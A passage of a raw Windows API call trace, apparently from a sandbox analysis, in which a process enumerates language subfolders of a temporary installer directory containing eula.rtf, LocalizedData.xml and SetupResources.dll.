ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1 [0047.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cdf0 [0047.017] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.017] FindClose (in: hFindFile=0x10cdf0 | out: hFindFile=0x10cdf0) returned 1 [0047.017] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1 [0047.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cf70 [0047.017] FindNextFileW (in: hFindFile=0x10cf70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10cf70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.017] FindNextFileW (in: hFindFile=0x10cf70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.018] FindNextFileW (in: hFindFile=0x10cf70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.018] FindNextFileW (in: hFindFile=0x10cf70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.018] FindClose (in: hFindFile=0x10cf70 | out: hFindFile=0x10cf70) returned 1 [0047.018] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.018] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1 [0047.018] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d1f0 [0047.018] FindNextFileW (in: hFindFile=0x10d1f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.018] FindNextFileW (in: hFindFile=0x10d1f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.018] FindNextFileW (in: hFindFile=0x10d1f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10d1f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10d1f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.019] FindClose (in: hFindFile=0x10d1f0 | out: hFindFile=0x10d1f0) returned 1 [0047.019] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1 [0047.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ceb0 [0047.019] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.019] FindClose (in: hFindFile=0x10ceb0 | out: hFindFile=0x10ceb0) returned 1 [0047.019] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.019] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1 [0047.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cdf0 [0047.020] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.020] FindClose (in: hFindFile=0x10cdf0 | out: hFindFile=0x10cdf0) returned 1 [0047.020] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1 [0047.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ca70 [0047.020] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.020] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.021] FindClose (in: hFindFile=0x10ca70 | out: hFindFile=0x10ca70) returned 1 [0047.021] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1 [0047.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d130 [0047.021] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f014 | out: 